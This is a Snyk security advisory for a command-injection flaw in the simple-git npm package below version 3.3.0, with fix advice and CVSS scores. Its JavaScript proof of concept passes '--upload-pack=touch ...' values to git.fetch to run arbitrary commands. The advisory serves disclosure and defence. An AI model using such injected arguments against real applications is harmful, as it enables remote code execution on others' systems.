Command Injection Affecting simple-git package, versions <3.3.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.66% (80th percentile)

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  • Snyk ID SNYK-JS-SIMPLEGIT-2421199
  • published 11 Mar 2022
  • disclosed 11 Mar 2022
  • credit Alessio Della Libera of Snyk Research Team

How to fix?

Upgrade simple-git to version 3.3.0 or higher.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Command Injection via argument injection. When calling the .fetch(remote, branch, handlerFn) function, both the remote and branch parameters are passed to the git fetch subcommand. By injecting some git options it was possible to get arbitrary command execution.

PoC

// npm i simple-git
const simpleGit = require('simple-git');
const git = simpleGit();

let callback = () => {};

git.init(); // or git init

let origin1 = 'origin';
let ref1 = "--upload-pack=touch ./HELLO1;";
git.fetch(origin1, ref1,  callback); // git [ 'fetch', 'origin', '--upload-pack=touch ./HELLO1;' ]

let origin2 = "--upload-pack=touch ./HELLO2;";
let ref2 = "foo";
git.fetch(origin2, ref2,  callback); // git [ 'fetch', '--upload-pack=touch ./HELLO2;', 'foo' ]


let origin3 = 'origin';
let ref3 = "--upload-pack=touch ./HELLO3;";
git.fetch(origin3, ref3, { '--depth': '2' }, callback); // git [ 'fetch', '--depth=2', 'origin', '--upload-pack=touch ./HELLO3;' ]

// ls -la

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical